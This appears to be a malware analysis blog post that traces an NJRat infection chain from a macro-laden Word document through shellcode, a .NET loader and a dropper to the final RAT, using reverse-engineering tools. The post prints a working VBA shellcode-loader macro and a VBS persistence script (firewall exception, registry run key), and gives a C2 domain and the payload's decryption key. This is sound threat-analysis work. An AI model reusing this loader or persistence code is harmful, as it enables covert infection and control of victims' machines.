Another RAT variant, NJRat is typically attributed to ECrime actors, it is supposedly popular with actors in the Middle East. It’s primary infection vectors are phishing attacks and drive-by downloads, and like many other RATs, it has the capability to log keystrokes, access the victim’s camera, steal credentials stored in browsers, open a reverse shell, upload/download files, view the victim’s desktop, perform process, file, and registry manipulations, etc…

This sample was taken from the following tweet

[-] Maldoc VirusTotal

[-] PE Payload VirusTotal

Maldoc

Like most other maldocs which leverage macros, the document lures the user into enabling content.

image

We can interrogate this macro by using OLE tools to view it.

image

image

Attribute VB_Name = "Module1"
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal six As Long, ByVal five As Long, ByVal four As LongPtr, three As Long, ByVal two As Long, one As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal seven As Long, ByVal eight As Long, ByVal nine As Long, ByVal ten As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal eleven As LongPtr, ByVal twelve As LongPtr, ByVal thirteen As Long) As LongPtr
Public Function db(base64) As Byte()
  Dim DM As Variant, EL As Variant
  Set DM = CreateObject("Microsoft.XMLDOM")
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  EL.Text = base64
  db = EL.NodeTypedValue
End Function

Sub autoopen()
    Dim var2() As Byte
    Dim var4 As LongPtr
    Variables = ActiveDocument.InlineShapes(1).AlternativeText
    var2 = db(Variables)
    var6 = VirtualAlloc(0, UBound(var2), &H1000, &H40)
    var4 = RtlMoveMemory(var6, VarPtr(var2(0)), UBound(var2))
    var4 = CreateThread(0, 0, var6, 0, 0, 0)

   ActiveDocument.Range.Font.Hidden = False
End Sub

Essentially, a Base64 string is being taken from ActiveDocument.InlineShapes(1).AlternativeText and decoded, we can assess that the contents are then executed in memory using CreateThread, VirtualAlloc and RtlMoveMemory API calls.

The base64 string is hidden inside a text box on the first page of the document, utilising the Alternative Text field

image

I found the full string by querying the ‘Data’ stream, using OLE tools.

image

Base64 Snippet:

image

This is donut Shellcode - https://github.com/TheWover/donut

Shellcode Analysis

A simple From Base64 operation will reveal the raw shellcode. To investigate this further, I ran the shellcode as an argument with Blobrunner and attached x32dbg to the process.

image

We’ll set a breakpoint in x32dbg for the base address 0x012d0000 and run the shellcode.

image

I decided to leave this here for now, and instead switched to API monitor to see if i could see some interesting function calls.

Within some of the API calls, there are references to netflex.exe in the AppData directory, which is one of our final payloads.

image

We also see indications that a registry run key is going to be a form of persistence for this malware.

image

Most interestingly, we can see a NtWriteFile API call occurring. It only seems to show the first 1024 bytes of what it is writing but from this content alone we can see that it is writing an executable, which we should investigate further.

image

We’ll set a breakpoint in x32dbg with “bp NtWriteFile” and run until that breakpoint is met.

image

We can see in the stack that there is an address with “MZ” text which is likely our executable, so we’ll follow this in dump.

image

image

There are very strong indications that this is a binary file being written, we’ll follow this in memory map and dump the memory in a file in an attempt to extract the binary.

image

image

As this was extracted from memory, we need to clean some bits up before we get our executable, we can do this with HxD and delete everything before our MZ header.

image

1st Executable - The Loader

This is a .NET binary so we will run it through DNSpy to figure out what it’s doing.

image

This appears to be a loader with the injection target of svchost.exe

image

image

We see more references to the registry run key previously mentioned.

image

And, what we’re interested in - a baes64 encoded chunk and target file path.

image

A From Base64 operation will reveal our next binary, dropped from this loader.

image

2nd Executable - Netflex

Taking a look at the dropped ‘netflex.exe’ in DNSpy, there are a few things to note.

Firstly, the binary does a basic check to decide if the host is in a virtualised environment by querying Win32_CacheMemory

image

If there is a value for Win32_CacheMemory, the program assumes the host is not a virtual machine and will execute the next function.

The next function involves breaking/disabling AMSI and ETW, likely through the use of SharpUnhooker or a similar tool.

image

Next up is the main function, which essentially decrypts and executes a payload in memory.

image

The first line derives an AES key by getting the SHA 256 value of Settings.aes_key and taking the first 32 bytes.

The second line takes the contents of baseData, converts it from base64, decompresses the data with the Decompress function, decrypts the data and finally base64 decodes the unencrypted data.

Decompress Function

image

The key point here is that the first 4 bytes of baseData declare the length of the data and are not needed for decompression.

The Settings class is compromised of 3 key components, baseData, aes_key and aes_iv.

image

image

We now have everything needed to decrypt the base64 string.

1) Copy and paste the baseData string into CyberChef, convert it from base64.

2) Remove the first 4 bytes

3) Decompress with Gunzip

4) AES decrypt with base64 key “78e3e7cc513ff8ae00a177366efa4060” (First 32 bytes of the SHA 256 value of ‘Q4NP7JPHRA5AJB28’)

5) Decode from base64

image

This leaves us with another .NET executable, which, upon execution, netflex.exe would load in memory.

3rd Executable - NJRat Payload

Command and Control

Within this executable, we can see the C2 domain and installation directory being declared.

C2: netflex.duckdns[.]org:2255

image

Replication

There is also the capability for replication across removable media drives, and creating a vbs script as a means of persistence.

image

image

image

VBS Script

dim shellobj
set shellobj = wscript.createobject("http://wscript.shell")

ddd= "netsh firewall add allowedprogram c:\users\user\appdata\roaming\netflex\netflex.exe ""netflex.exe"" ENABLE"
cmdshell(ddd)

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split ("netflex.exe",".")(0), "c:\users\user\appdata\roaming\netflex\netflex.exe", "REG_SZ"

function cmdshell (cmd)

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /C /Q /K /S" & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else 
   readallfromany = ""
end if

cmdshell = readallfromany
end function

Persistence

Previously noted registry run key additions.

image

image

image

As well as the binary being copied to the Startup directory.

image

Keylogging

The ‘kl’ class in the binary presents the keylogging functionality.

image

image

The following line defines where the keystrokes are to be recorded.

image

STV Function

image

With this, we know that keystrokes should be recorded under the HKCU\SOFTWARE\Netflex [kl] registry key.

image

Basic Execution Flow

image